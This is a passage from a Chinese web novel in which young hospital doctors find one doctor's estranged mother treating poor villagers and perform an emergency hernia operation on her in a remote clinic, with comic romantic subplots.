女人说:“怎么会!她经常来我们这里,每年都会来待上一个月,还会去其他偏僻的村子,我们这医疗条件不好嘛,她没来之前,村里就一个赤脚大夫,用的都是些土法子。杨医生来帮我们看病治病,还找了两个认字的人去卫生所,经常送药品过来,还把学到的文化知识教给赤脚医生,她可是我们村的大恩人!” 骆驼村是被遗忘的角落。 在杨芬来之前,骆驼村什么都没有。 她来了以后,才慢慢把荒废的卫生所清理出来。 现在赤脚医生留在卫生所工作,可以给村民治小感冒。 至于一些大病,他们村绝大部分人即便生了大病也不愿意去大医院,杨芬就每年过来住一个月,挨个治疗。 村民们都争着让杨芬住他们家。 阮乔茫然道:“她……到底是来做什么的啊?” “做什么?”女人瞪着阮乔,很不满,“杨医生是来治病救人的!” 第44章 第44章可能死亡 不只是阮乔,其实南栀和陆随也很惊讶。 南栀道:“这么说起来,杨阿姨是自愿来骆驼村看诊的,她在替看不起病的穷人治病?” 陆随说:“不仅如此,她还要教给赤脚医生如何看病,还要去其他村子,一年到头,估计很少有能休息的时候。” 南栀问:“为什么啊?为什么不留在临川市做医生?” 陆随也不知道。 两人看向阮乔。 阮乔揉了揉脸,“还进去吗?” 南栀说出四字箴言,“来都来了。” 阮乔:“……” 陆随说:“你该不会是想现在临阵退缩吧?” 阮乔纠结道:“她怎么还跑来给村民看病呢?我到现在还只是住院医,还是个有名气的混日子的住院医,现在去见她是不是不太好啊?要不我回去努力努力,然后再来?” “你别这样想,”南栀劝道,“杨阿姨不会嫌弃你的。” 阮乔说:“也是,她毕竟是我妈妈。” 南栀:“就算你回去努力,也不见得比现在更好呀!” 阮乔:“……,她不一定是我妈妈,但你有可能会被我打死。” 陆随把南栀拽到旁边,“你还想动手?” 阮乔:“……” 就这还说没关系?? 呸!! 阮乔调整好呼吸,“走!进去!” 村民们好奇地看着他们。 女人感慨道:“真没想到杨医生的女儿会找上门。” “杨医生有女儿?她不是单身吗?” “是啊,她天天都在外面跑,哪有时间照顾女儿?” “杨医生是为了我们,才和女儿分开吧?她刚来的时候我们还……唉。” 杨芬继续给病人看诊。 阮乔雄赳赳气昂昂走进去。 排队的病人喊道:“喂,怎么插队?哪来的野丫头?!” 阮乔哪有心思和他们拌嘴。 南栀说:“不好意思啊。” 陆随:“她脑子不好。” 病人:“……” 脑子不好啊,那确实该先看。 脑子重要! 阮乔“啪”的一声拍了下桌子,“杨芬?” 杨芬抬起头,奇怪地看着阮乔,“你不是骆驼村的吧?” 阮乔说:“废话,我是临川市的,临川市!” 杨芬愣了一会儿,好像想到什么。 她沉默地低下头,似乎还在写病例。 阮乔仔细一看,她不是在写字,其实是在画画。 村民不认字,记性也不好,她把每种药都画出来,标明一天吃几顿,该什么时候吃。 良久,杨芬才抬起头,“听念珍和其他同学提过,你也做医生了。” 阮乔又开始紧张。 她做医生的日子都在混,做得很不好。 如果早知有这么一天,她一定会好好 学习,起码要像南栀一样,才能站到杨芬面前。 杨芬只说:“那就坐下来,一起给他们看看吧。” 阮乔:“……,我是儿科医生。” 杨芬说:“在这里够用了。” 卫生所又开了一个诊室。 阮乔和杨芬在一起,南栀和陆随去新的诊室。 四个医生同时看病,进展神速。 这事迅速传遍骆驼村,好些没生病的人也来看热闹。 这样的场面让南栀想起下乡医疗队来大桑村时的样子,她好像知道杨芬为何放弃前途跑到一个边境小镇。 她不是在工作,而是为村子的人们带来希望。 几人一直忙到六七点钟。 村子里没饭店,村长为了表示感谢,邀请杨芬几人去家里吃饭,杨芬没推辞。 她向阮乔介绍道:“我过来一般都会住在村民家,当然也会留下来吃饭,他们会给我送很多吃的。” 阮乔心情复杂。 她仍然想问“他”在哪,但现在的场面,她已经问不出口了。 她好像知道杨芬在做什么,又好像不知道。 阮乔还有一大堆问题。 为什么生了她,又不愿意去看她。 就算和爸爸离婚,为什么不能给她写信? 她也希望和其他小朋友一样可以叫妈妈,也想说些心里话给妈妈听。 阮乔问不出来。 杨芬环胸抱臂,痛苦在脸上一闪而过。 南栀问:“您不舒服吗?” 杨芬摇头,“老毛病了,没事。” 阮乔着急道:“不舒服要及时去看医生啊,要……我们不就是医生吗?” 她看向南栀,“南栀,你最厉害了,你帮我妈看看。” 杨芬对南栀生出好奇心,“刚刚看你看诊,好像什么科的内容都懂一些,你是全科医生?” 全科医生一般是小地方的基层医生。 阮乔说:“你可别小瞧我们南栀,她不是全科医生,也是儿科医生,不过我觉得她去哪个科都行。利多卡因能导致病人过敏,您知道吗?” 阮乔努力吹嘘南栀。 她是南栀的好朋友嘛,南栀厉害就是她厉害! 杨芬思索道:“这倒是没遇到过,看来以后用利多卡因也要小心。” 天色越来越暗,村里没有没有路灯,天黑了就只有月光,几人加快脚步来到村长家。 村长家来了很多人,每户人家给添一道菜,今天这顿晚餐十分丰盛,有肉有菜有汤。 村民们笑嘻嘻道:“杨医生,一点儿心意,今天你闺女来找你,我们就不打扰你们了,你们好好吃,不够吃再和我们说。” 杨芬无奈道:“我们才几个人,吃不下这么多,都跟你们说过很多次了,留着粮食自己吃,不要浪费。” 村里是不发票的,他们想用工业票,得拿粮食去城里换。 村民们嘻嘻哈哈蒙混过去,就连村长一家人都跑去别人家做客,给杨芬和阮乔腾地方。 四人坐下。 杨芬说:“我以茶代酒,欢迎你们过来。” 南栀对骆驼村的手术室比较好奇,“您真的会给他们做手术吗?” 杨芬点头,“能做的手术我都会研究,研究明白的,就给他们做。” 陆随问:“就在卫生所?” “你们也看到了,没有更好的地方。” 阮乔:“不怕感染吗?” “我尽量做到无菌,不过话说回来,”杨芬笑道,“命都要没了,还考虑会不会感染?” 阮乔脸红起来,“是哦。” 杨芬还给南栀介绍了手术室的小工具。 “这边条件不好,哪有那么多设备?咱们就得做些趁手的道具,能用就行,要求不高。做手术要多练,不要害怕,你是医生,你害怕了,病人怎么办?手术也没想象中那么难,最基础的吻合要练好,也最容易练习。” “咱们现在条件不行,以前的老医生可以直接找尸体反反复复练习,咱们不行了,没这条件。” 阮乔听得脸都白了。 南栀羡慕道:“可以用真人练诶,真好。” 她到现在也只敢拿猪皮、鸡皮各种胶来练习,还不知道针扎在人的皮肤上的手感。 杨芬笑道:“凡事都有第一次,敢做就行。我也碰到过救不过来的,提前和家属说明白,尽力试试。没有尝试必要的,就只能让他们带回家,好好送他们最后一程。” 南栀上过很多教授的课,只有杨芬给她上的这堂课,效果最好。 她不用在意任何规矩,一心治病救人。 南栀知道,回到大医院,这当然不可能实现,但她佩服杨芬,真心佩服。 饭吃到一半,陆随说:“我吃饱了,有点儿撑,想出去转转,南栀,走。” 南栀盯着鸡腿,试图去夹,“我没饱啊。” 陆随把南栀提起来,“你饱了。” 他看向阮乔和杨芬。 南栀这才反应过来,“哦哦,我饱了。” 说完,依依不舍地看着鸡腿。 鸡腿啊…… 陆随:“……” 他把南栀拽出去,“鸡腿而已,回去我给你买,馋死了。” 南栀说:“你知道鸡腿有多难得吗?你知道肉有多贵吗?我家要好几天才能吃上一顿肉!” 陆随道:“抱歉,忙着生病,还没有机会体验人间疾苦。” 陆家是世家,陆随怎么可能吃不上肉? 南栀:“……” 一时间不知道谁更苦。 “算了,我原谅你啦。” 南栀坐到院子的长椅上。 长椅其实是放倒的树干,已经干枯,而且磨得很光滑。 她抬起头看着天空,星星很闪,月光暗淡,星星聚集的地方,有淡淡的银河。 “杨阿姨才是真的明白自己为什么要做医生,我们都比不上她。” 不管是南栀还是陆随,都有研究、攻克疑难杂症的心。 既是突破,又能证明自己的实力,医学发展离不开突破。 但老百姓离不开杨芬。 陆随说:“我们做好该做的就行了。” 南栀点头,“以后叫心外会诊,一定要积极点哦。” 陆随弯唇,接着又嫌弃道:“你不是有你的萧医生。” 南栀试图在哥哥和陆随之间说和,“其实萧医生人蛮好的,你不要和他生气了。” 陆随扬起的唇又撇了下去。 南栀赶紧说:“当然还是你最好。” 陆随的表情这才好转。 他问:“如果萧珵问你,你怎么回答?” 南栀不假思索道:“当然说他最好。” 陆随:“?” 南栀:“难道我要当着他的面说别人好?我又不傻。” 陆随:“……” 南栀:“张医生说了,要有情商,所以我要顾及你们每个人的想法,我已经和从前不同了!” 陆随:“……” 他开始理解阮乔为什么想打死南栀。 不过他还是要阻止阮乔,真是个好人。 南栀四人都留宿在村长家。 村里都是土炕,只能腾出一个多余的房间,必须有人挨着陆随。 阮乔抱着杨芬不肯撒手,无辜地看南栀。 南栀也不在意,“我们挨着就好啦。” 陆随:“?” 他看着摆在一起的褥子,一时无法接受,“南栀,我可是男人。” 南栀说:“这是炕,不是床,很正常的。” 村长也说:“我们都是一大家子住在一起,没事!” 阮乔看热闹不嫌事大,“你们是正在接触的相亲对象,怕啥?” 村长:“原来你俩是一对?那更不用怕了,赶紧睡下。” 陆随:“……” 村长嘱咐了几句多喝水才离开 。 杨芬、阮乔、南栀洗漱好后早早地躺下。 陆随还僵在一旁。 南栀掀开陆随的被子,热情邀请道:“快睡觉啊,明天还得继续看诊呢。” 陆随:“……” 这场面,相当诡异。 陆随问:“你真不介意?” 南栀说:“你又不是别人,我当然不介意啦。” 陆随瞬间被哄好,他嘀咕道:“我可问过你了。” 炕上铺了四个褥子,每个褥子都有相配的被子,如果睡觉老实,倒是真不用担心。 只是这炕不大,四人的间隔不远,陆随一翻身就能看到南栀,每次翻身他心跳速度都会加快。 夜晚的骆驼村格外安静,南栀躺了一会儿,忽然坐起来,“陆随,你心跳有问题,速度不正常,你没有心血管问题吧?” 阮乔和杨芬偷偷咧嘴笑。 陆随红着脸把她按回去,“睡觉!” 南栀说:“你可是心外医生,要注意身体。” 陆随:“……” 南栀:“要不我去拿听诊器给你听听?” 陆随:“……” 他忍无可忍,“只要你老实点,我就没问题,现在把你的手从我被子里拿走。” 南栀:“……哦。” 她其实是想给陆随把脉。 他的心跳真的很快,每分钟估计有140次。 躺着不运动还能有140次,这正常? 南栀担心陆随出事,侧身对着陆随盯着他看。 陆随:“……” 南栀说:“你听,更快了。” 阮乔咬住被子,怕笑出声。 陆随试图转移注意力,“如果是萧珵,你该不会也同意和他躺在一起吧?” 南栀:“你怎么总提萧医生,我当然会同意啦,又不是没在一起躺过。” 小时候天天躺在一张床上呢。 陆随震惊地坐起来。 南栀:“陆随!更快了!!” 陆随:“……” 他可能会在骆驼村里猝死。 不过死之前,他一定会把萧珵带!走! * 杨芬暂时无法离开骆驼村,她刚到村里十几天,还有很多麻烦事。 南栀和阮乔还有假期,又陪着杨芬帮忙看了几天珍。 来看病的村民越来越少,让人头疼的是生了大病的村民。 他们的身体有很多问题,不用检查都能想到。 有相当一部分的人有心血管问题,有胸痛胸闷的症状,都强撑着。 如果真拉去做体检,一个都跑不了。 更有甚者,还有头疼得厉害的,杨芬高度怀疑是脑瘤。 有几个患者被劝到镇上的医院检查,更多的是不愿意去的,杨芬便要想办法帮他们治疗。 “这个村民,我怀疑是冠心病,但咱们这里没法处理,只能开药。这个是胆囊炎,最好是能拍个片子,看看是不是有结石,现在很多人的胆结石都快满了,总是发炎,时间久了容易得癌症,最好是割了。” …… 如果不是假期有限,南栀都想留下来和杨芬学习做手术。 南栀留意到杨芬不适的次数越来越多。 阮乔每天都在忙着帮杨芬治疗病人,还要了几本书来看,天天挑灯夜读,没注意到这些。 吃过午饭,趁着阮乔午睡,南栀找到杨芬,“杨阿姨,我理解你担心村民,但你得先保护好自己的身体,如果没有你,还有其他医生愿意过来吗?” 杨芬来是苏兰镇人民医院的医生,她的行为得到医院的支持。药品也是政府免费提供的。 报纸上才曾报道过杨芬,她在当地的影响极大,这也是政府和医院愿意提供支持的原因。 可即便如此,也没有医生愿意和杨芬一起过来。 每年、每个月,在不同的村子轮转,他们受不了。 苏兰镇已经是小镇子,这些村子就别提多穷了。 而且杨芬的工资基本都补贴给村民,也就是村民们管饭,她才不至于饿死。 努力了这么多年,她是一点儿钱都没攒下。 杨芬无奈道:“我明白,这次我会提前走,但你也看到了,有的小手术必须做了再走……再过两天吧,两天差不多就能结束。” 南栀问:“您是什么病?” “疝气吧,以前有过。” 南栀紧张道:“以前修补过?” 杨芬点头。 南栀说:“是可能再复发的,这病严重时可能送命,您得重视。还能再撑两天吗?” 杨芬笑道:“撑不到也要撑,我才刚见到乔乔,不能就这样死了。” 这些年杨芬不是不想阮乔,只是她和丈夫观念不和,实在过不下去。 她想治病救人,丈夫认为她太心善,容易被坏人讹上,会吃亏。 杨芬知道他说的是对的,但面对病人时,又没法当做看不见。 两人总是为此吵架。 他们的矛盾在医院选中杨芬去进修后。 是去首都进修,手术的医疗发展比临川强太多,能学到很多有用的内容。 当时杨芬刚生阮乔,丈夫希望她能把重心放在家里。 他的工资比杨芬要高,家要维持下去,起码得有一个人多顾家。 他不希望杨芬太有事业心。 杨芬不同意,她不想做只会照顾孩子的女性。 争吵多了,再三斟酌下,杨芬决定离婚。 所有人都很震惊,尤其是公公婆婆,他们都没想到杨芬会提出离婚。 挽留当然有,但被杨芬拒绝后,挽留就成了抱怨。 谣言越来越离谱,有人说杨芬是有其他男人,才想离婚。 公公婆婆一商量,觉得对啊,没有其他人,无缘无故的怎么会离婚? 在他们心里,女人闹离婚只有一个原因——嫌他们儿子穷。 殊不知他们儿子除了穷人外,还有很多缺点。 杨芬知道自己不能带阮乔,她没有精力照顾阮乔,娘家也帮不上忙。 而且丈夫一家人的确对阮乔很好,把孩子留下是最好的选择。 这些年倒是也给阮乔写过几封信,但是都没有回音,也不知道他们家有没有安电话,就不再联系了。 现在看来,阮乔可能都不知道她曾经写过信。 杨芬说:“我的导师是在苏兰镇的人,他说这里有很多人看不上病。我一开始没当回事,临川已经够穷了,还有比临川更穷的地方?来到这后我才知道,其实临川挺好的。之所以留下,也是没办法,这边医生太少了,我在这里更能起到作用。” “附近几个村,大家有什么病,我最清楚,我可能没法回临川了,也不能好好陪着乔乔,再过几年吧,等我攒攒钱,回临川找份工作,总不能一穷二白地回去拖累乔乔,那我宁愿死在外面。” * 阮乔劝了杨芬好几次,杨芬都不肯跟她离开。 南栀和阮乔都是请假出来的,真正的自由人只有陆随。 不过他这次能出来,证明身体基本上恢复的差不多了,估计一回去就会被心外科的主任抓去当苦力。 他们不能逗留太久,阮乔给杨芬留下联系方式,又要走苏兰镇医院的电话,然后便去收拾行李准备离开。 村长找了牛车送他们下山。 阮乔沉默了好几天,南栀知道她不舍得走。 老牛拉着车慢悠悠走过来,好多村民自发的来送他们,就像当初大桑村的村民送走下乡医疗队。 他们热情的往车上塞东西,都是当地特产,送给南栀三人的。 杨芬每年离开时,基本也都是这样的情况。 很多人都来送他们,唯独杨芬没来。 阮乔等了好半天,气道:“我都没问她为什么不要我,她倒好,竟然都不来送送我!” 村长道:“杨医生刚刚回我家了,不知道在做啥。” 南栀想到杨芬的病,“她脸色怎么样?” “不咋样,好像遇到些情况,我问她了,她说没事,还说一会儿会来送阮乔。看时间的话,应该能走过来了,怎么还没来?” 阮乔实在放心不下,“我们去看看吧?” 杨芬的安危最重要,没人反对。 村民们也跟着几人来到村长家。 还没进院,阮乔就 开始叫杨芬的名字,这几天她别扭的没喊“妈”。 没人回应。 南栀心跳加速,预感不太好。 她跟着阮乔跑进去,去他们住的房间找人。 杨芬果然倒在炕边,脸色苍白,头发都被虚汗打湿。 她努力地往外爬,但实在疼得动不了,又担心会被阮乔看到,便想回到炕上,干脆说自己累了。 可是她连站起来都坐不到。 上次犯病也没这么疼过。 阮乔惊叫道:“妈!” 三人冲过去把杨芬扶起来。 南栀迅速道:“阿姨说她做过绞窄性疝手术,可能是复发了。” 村长茫然道:“这是啥病?杨医生怎么会得病?” “她一直不舒服,为了给你们看病,拖着没回医院,”南栀说,“总之是一种急腹症,疝内容物被压迫,血液供应中断,血液循环受阻……总之需要立刻手术。” 阮乔呆呆地看着南栀。 在场的除了杨芬,谁敢手术? 陆随是心外科医生,也没做过绞窄性疝手术。 阮乔问:“现在去医院还来得及吗?” 南栀摇头。 “……不做手术会怎么样?” “肠坏死,腹膜炎,甚至……死亡。” 第45章 第45章她缝哒 南栀几个正常人上山都快丢半条命,更别说杨芬现在情况危急,将她送下山再医治,来不及。 阮乔看向陆随,“陆医生,你是唯一做过手术的,你再想想,万一呢?” 南栀说:“绞窄性疝是急症,嵌顿的组织如果已经坏死,可能需要切除受损部位,而且经常伴随水中和炎症,不易分离。术后还有并发症的风险。” 阮乔失魂落魄。 陆随见状说道:“但也不能真的等死,我去手术室看看,说不定有可以用到的东西。” 他说这话的意思,就是愿意试一试。 陆随其实没太大把握。 这项手术他没做过,甚至都没有跟过胃肠外科的手术,他对绞窄性疝手术的了解,完全来自于手术录像。 但没办法了,在场的除了杨芬,只有他做过手术,他不能退缩。 阮乔激动地拉住陆随。 陆随沉声道:“利多卡因不够了。” 早在几天前杨芬就说过,村里麻醉药不多了。 阮乔刚燃起的希望又被浇灭。 连麻醉都没有,怎么手术? 杨芬艰难道:“梁村、梁村的卫生所应该还有。” 附近的村子杨芬都会去,每个村子都有一个她整理过的卫生所,来骆驼村之前,她刚去过梁村。 陆随问村长:“去梁村要多久?” “梁村很近,村里有自行车,马上就能拿回来。” 陆随看向杨芬,“阿姨,只能由我来手术了。” 南栀说:“我也可以。” 陆随:“?” 他知道南栀有本事,但这不代表她能直接去手术。 陆随是跟随导师上过手术的,也做过主刀。 但南栀是跳级到大学的本科生,连研究生都还没读,能有机会观摩就不错了。 南栀十分冷静,“我看过录像,每一个环节都记得清清楚楚,我记忆力好。” 陆随拧眉,就算记忆力好,真实的手术也是不一样的。 不过他没再和南栀争,“好,我们一起去。” 南栀说干就干,村长找来平板车,把杨芬拖到卫生所。 手术室的条件比较简陋,但能勉强做到无菌环境。 阮乔紧张地跟在南栀身后,“栀栀,你和我说实话,你有把握吗?就算没有,我也不会怪你,我妈没及时去医院,才耽误病情。” 南栀说:“任何手术都没有百分之百的保证,但你别担心,这项手术有在简陋条件下成功的病例,你情绪如何?如果能保持冷静,就进来帮忙。” 阮乔赶紧点头,“我能。” 这是南栀第一次真正地“接触”手术。 她冷静地清点手术室内的器械,找到要用的手术刀、剪刀、镊子、止血钳、拉钩…… 没有肠钳,南栀找来其他钳子代替。 没有吸引器,现在也只能手动清除。 陆随看着南栀熟练的动作有些惊讶,他只能想到一个答案,南栀真的很想做外科医生,所以对这些都有了解。 准备好后,南栀重新给杨芬检查,以免误诊。 她摸到明显的硬块。 “虽然不能说确定的话,但我还是得说,是其他急病的可能性很小,这个手术必须做。” 不知为何,阮乔明明知道南栀从没做过手术,但就是很相信她。 反倒是村民们不放心。 “你们真的行吗?看起来年纪都不大,可别把手术当成过家家。” “医生还是得找年纪大的经验丰富,你们在这里就敢动手术开刀……唉,杨医生的命可真苦。” 南栀正在做术前准备。 她要回忆曾经看过的每一个视频,确定人体结构。 她还要在脑海中重复手术过程,以及该如何解决在手术中可能遇到的问题。 南栀需要安静的环境。 她面无表情地看向村民,“我们不行,你们来?” 没人敢说话。 南栀说:“如果你们愿意去大医院就医,杨医生不至于在骆驼村待这么久,现在已经能得到救治。” 村长:“……” 平时就南栀的脾气看起来最好。 原来脾气最差的才是她。 村长赶紧说:“哪能呢,我们都相信你,他们就是太担心杨医生,你别放在心上。” 杨芬也硬撑着说道:“我的判断和南栀的判断是一致的,现在该做的就是相信南栀,你们都回吧,这里交给他们。” 她又看向南栀和陆随,“我明白现在必须手术,也知道你们可能会遇到的困难,你们不要害怕,不管成功还是失败,你们都是在努力救我,我很感激你们,不要有心理负担。乔乔,你也要明白,好吗?” 阮乔忍着泪,拼命点头。 隔壁村的麻醉药被取了过来,南栀再次确定麻醉剂量。 一台不正规的手术开始了。 陆随是主刀,南栀和阮乔帮忙。 陆随的手很稳,他做过很多台心外科手术,能应对基本情况。 至于开好切口后会是什么情况,只能听天由命。 陆随打开疝囊,看着不算熟悉的嵌顿组织皱起眉。 实际上他只看过两台相关的手术,在教授的允许下,他一直主攻心外科。 陆随尽量回忆曾学过的知识。 幸好他的手足够稳,能慢慢摸索。 南栀赞叹地看向陆随。 她看过无数手术录像,陆随的手是最稳,也是最冷静的。 在完全未知的情况下还能保持冷静的才是狠人。 不过南栀也能看出来,陆随对类似的手术真的不熟悉。 他慢慢摸索,也能解决问题,但是没必要。 南栀说:“我来。” 陆随和阮乔都看向南栀。 南栀找到嵌顿组织,“需要将这部分清楚,才能恢复供血。” 她没有犹豫,慢慢清理嵌顿组织。 南栀的动作看起来很随意,甚至口罩下的表情都是随意的,但她的手又很稳。 第一次接触手术,没有任何不适的反应,手不曾抖过。 好像比陆随还稳。 阮乔越看越惊讶。 她知道南栀很厉害,但她不知道南栀第一次做手术,就能做到这份上。 这是普通人能做到的吗? 陆随收回手,神色复杂,“你真的很想当外科医生。” 南栀绝对练过,很明显。 南栀承认道:“我每天都练,缝过无数肉了,好几头猪为我而死。还会做力量训练,大家都说女医生体力不如男医生,所以外科手术男医生更多,其实咬牙练一练就好了嘛。” 阮乔看向南栀的胳膊,平时不注意,好像没什么改变,但其实能清晰看到隆起的肌肉。 南栀刚来医院时还没有的。 阮乔说不出话。 南栀不只是聪明,她还足够努力。 相比之下,阮乔既不聪明又不努力。 不能再去种些注定要死的花花草草了。 她用胳膊擦了下眼睛,专心致志地投入手术。 陆随也进入状态。 嵌顿组织被解除,而且处理得很干净,南栀又去检查肠管是否坏死。 修复腹壁缺损需要用到补片,现在没有,南栀只能简单处理,等到大医院再说。” 不需要放引流管,“南栀说,“可以开始逐层缝合。” 陆随正要接手,就见南栀灵活地挑起线。 她缝合得相当整齐标准。 最开始是正常速度,大概是因为手感和猪肉、鸡肉不同。 但她非常迅速地习惯了,缝合的速度越来越快。 缝合到最后一步时,阮乔好像看到她的手已经快飞起来。 切口也被缝合好。 阮乔震惊地看着切口,“这也……太整齐了。” 南栀擦了把汗,笑盈盈道:“第一次缝真人,好紧张哦。” 阮乔:“……” 她哪里有一点儿紧张的样子? 手术结束。 杨芬被推到病房休息。 所谓病房,也是杨芬整理出来的,和医院的真病房没法比。 南栀道:“麻醉的药效还没过,等杨阿姨醒来再看看,情况稳定后尽量送到镇里的医院处理。” 阮乔问:“手术算成功吗?” 南栀笑着点头。 村民们还没走,好奇地看着杨芬和南栀。 啥,这就叫手术成功了?好像也没推进去很久? 村长担忧道:“杨医生真的没事了?” 南栀说:“无法保证。” 村民们群情激奋,“我就说这事不能交给孩子!” “杨医生如果没了,我们就是罪人!是我们拖累了杨医生!我们应该自己去看病,也不能把杨医生交给几个孩子!” 南栀给他们让路,“你们来救?” 村民们:“……” 又没人吭声了。 南栀热情邀请,“快来吧,如果成功了就是骆驼村的英雄。” 村民们:“……” 如果失败,就成骆驼村的罪人了。 这点儿道理他们都懂。 南栀笑道:“你看看你们,一到担责任的时候又退缩,平时倒是能扯着嗓子喊,再这样喊几句,我可要认为杨医生为了你们延误病情不值得了哦。” 一个天大的帽子扣了过去。 没人敢说话。 村长又开始和稀泥,“你别生气,他们只是担心杨医生。” 南栀点头,“我不生气啊,不过村长你不担心杨医生吗?” “我当然也担心。” “既然担心,为什么不把他们赶走啊?杨阿姨需要静养。” 村长:“……” 脾气差的小姑娘真可怕。 阮乔一直守在杨芬身边。 一个小时后,麻醉药效过去,杨芬睡够了,慢慢睁开眼睛。 她下意识想看切口。 阮乔赶紧说:“先别乱动,你感觉怎么样?” 杨芬说:“好多了,给我找个镜子。” 卫生所有小镜子,阮乔找来给杨芬。 杨芬看到切口,表扬道:“不愧是心外的医生,技术比我好,很老练,应该做过很多手术了。” 阮乔的心情好了很多,她自豪道:“是南栀做的手术哦,都是她缝的!” 第46章 第46章见面啦 杨芬的情况稳定后,南栀几人带着她下山回到苏兰镇,杨芬全程坐平板车。 苏兰镇人民医院得知杨芬的情况,立刻将她带去做检查,检查期间各个科室的医生都来探望,连几名院长也过来了。 最惨的就是胃肠科医生。 “杨医生做过手术,你们不知道吗?平时不多关注点?现在闹成这样,你们要负责!” 胃肠科医生不敢吭声。 南栀好奇道:“他们好像都很关心杨阿姨。” 阮乔也不明白为什么。 陆随说:“医院的人,也有来自附近村子的,杨阿姨是在帮他们。” 杨芬的行为全院皆知。 他们有的人就来自这些村子,是杨芬让他们的家人能接受治疗。 还有的人敬佩杨芬的行为,他们就没见过这种心里真的全是患者的医生。 总而言之,杨芬生病,全院关注。 院长训完胃肠科医生,又看向南栀和陆随,“太胡闹了!这种情况下怎么敢手术?!什么检查都没有,贸然进行手术,发生意外怎么办?不是疝气怎么办?真是胡闹!” 他知道南栀几人都是医生,把他们当做后辈。 南栀说:“战场上,野战医院也要等检查结果都出来再进行治疗吗?” 院长:“……” 陆随:“贵医院如果有其他医生和杨医生一起完成这份工作,就不会出现这样的情况。” 院长:“……” 这俩人看起来都不好惹。 他说:“话不是这样说的……你俩没做过肠胃方面的手术,怎么敢的?” 南栀:“我天赋高。” 陆随:“我也还行。” 院长:“……” 确实不好惹。 院长看向看起来好惹的阮乔。 阮乔:“我是她女儿,我同意,怎么了?” 院长:“……” 他卑微地缩回头。 其实院长不太好意思面对阮乔。 杨芬为医院赚了多少声誉,他心里清楚。 他更清楚,这是牺牲杨芬的家庭才换来的,他不是铁石心肠的人,对阮乔是有愧疚的。 现在院长只希望这几个胡闹的小朋友能有点儿水平,别把情况搞得太糟糕,让他们有补救的机会。 两个小时后,负责检查的医生神色复杂的走出来。 院长问:“情况不好吗?” 医生没立刻回答,他看向南栀三人,“是谁做的手术?” 南栀说:“我。” “你是外科医生?” 南栀:“我是儿科医生。” “儿外科?” “我们医院还没有儿外。” 医生:“……” 他不解地看着南栀,“你以前是外科医生?” 南栀实话实说,“这是我第一次做手术。” 医生:“!!” 院长被这对话搞得心惊肉跳,“你就直接说,情况到底怎么样了,还有没有补救的机会!” 医生欲哭无泪,“院长。” 院长:“?!” 看起来很严重! 医生说:“不用补救,手术做的相当好,缝合得也很完美。” 院长:“……” 他都不敢相信自己的耳朵。 “你是说,这个说自己第一次做手术的小姑娘,手术做得很完美?” 医生点头。 院长震惊了好一会儿。 上次遇到天才还是上次,几百年前。 院长回过神来,“等会儿,手术成功了,你哭什么?” 医生爆哭,“我练了这么久,都没她缝得好!!凭什么!!” 院长:“……” 手术成功是好消息。 杨芬的底子不错,身体迅速康复。 阮乔用医院的电话联系了祁念珍,她原本是担心祁念珍会着急让她们回去,毕竟儿科是真的缺人。 哪知道祁念珍笑容满面道:“既然生病了就留下来照顾,你们也好些年没见面了,不用着急回来。” 阮乔:“那南栀……” “她也不用着急,陆随更不急,不过你要提醒陆随,让他注意身体,刚恢复好,别又犯病。” 祁念珍叮嘱了几句才挂电话。 阮乔懵懵的,“我怎么觉得祁院长不太想让我们回去?” 南栀说:“祁院长说,有人帮忙找了人去儿科顶我们。” “看来顶替我们的人用得很顺手啊,是实习生?还是哪家医院的医生?谁会同意来康宁帮忙啊。” 陆随挑眉。 能让祁院长高兴的,也就只有那位。 他懒洋洋道:“现在可以安心多留几天了。” 阮乔说:“我在医院陪床,你们去招待所休息吧。” 南栀提议,“那 就订一个房间好了,不要太浪费。” 陆随:“……” 他提醒道:“南栀,我是男人。” 南栀看向他,“好像是,然后呢?” 陆随:“……” “我们不能住在一起。” 南栀奇怪道:“我们不都躺在一个炕上了吗?招待所都是标间,两张床,没关系的呀。” 陆随:“……” 南栀靠近陆随,“陆随,你的脸色真的很不对劲,又红了,你确定没生病?” 她顺手摘下医生的听诊器,“我来帮你听听。” 陆随:“……” 他转身就跑。 这个南栀,是真的不把他当成男人!! 一周后,杨芬康复出院。 再三考虑后,杨芬作出决定,她要和阮乔一起回临川。 在做手术之前,杨芬其实已经做好死亡的准备。 回想这一生,她最后悔的事就是没能多陪陪阮乔。 现在捡回一条命,她想自私一次,回临川。 但杨芬又担心村民们。 现在他们还能指望杨芬,如果她也离开,可能就真的没人管他们了。 院长找到杨芬,乐呵呵道:“那些小朋友说的对,当初如果不只让你一个人过去,就不会有这种情况了。你的事情,上级领导已经开会讨论过,决定找其他医生接替你的工作,你奉献了这么多年,现在身体不如从前,该退休了。可惜我们的能力有限,你回临川,不知道能不能再找到医院接收你。” 苏兰镇只是个小镇子,和城市不同级。 院长只能再三拍胸脯保证,会把后续工作进展告知杨芬。 周末,四人一起坐上开往临川的火车,他们的行李多到拿不下。 各个村子的村民送来很多补品,有的得知杨芬要走了,还准备了礼物,根本拿不过来。 直到现在,医院还不断收到村民们送来的东西。 有的人是亲自赶牛车拉过来的,有的村子派了代表过来,实在不方便的,就托人捎过来。 人民医院的医生们看着每天都会变多的东西,心里好像比从前热。 就连杨芬这份被嫌弃的工作,都多了几个人报名。 报名的人越多,越能轮值排班,每个人的工作量越少。 从此以后,苏兰镇的医院多了一个新任务,要在难以就医的村子里办卫生所,要定时派医生去值班。 医院的荣誉墙上,永远有杨芬的位置。 她的照片被放在最上方,照片中的她笑容灿烂,还是刚来苏兰镇的模样。 * 南栀和阮乔都要休息一天再去上班。 她这趟离开,黄春兰和南明杰都挺担心的,南栀除了从大桑村来临川,就没再出过远门。 结果南栀告诉他们,不仅一切顺利,她还成功做了第一台手术。 黄春兰&南明杰:“……” 黄春兰问:“你说的手术,是什么样的手术?” 南明杰:“给老鼠做的?” 奶奶说:“肯定不是老鼠,老鼠不行,应该是村里的牛或者猪生病了。” 南栀笑眯眯道:“当然是给人做手术啦,我是医生,又不是兽医。” 全家石化。 他们家南栀会做手术?? 真会做手术?! 南栀把在骆驼村的经历讲了一遍。 黄春兰除了感慨杨芬心善外,还敏锐地抓到重点,“你说你和那位陆医生睡在一起??” 南栀比划道:“是炕,大家都在一起,没有多余的房间。我还发现陆医生的身体可能不太高,心率不正常,或许是后遗症。” 黄春兰:“……” 不正常的或许不是陆医生。 黄春兰愁容满面。 她虽然相信陆医生和女儿的人品,但…… 黄春兰有点儿保守,接受不了。 她试探着问道:“你对陆医生有感情吗?要不把他家人约出来,我们好好谈谈?” 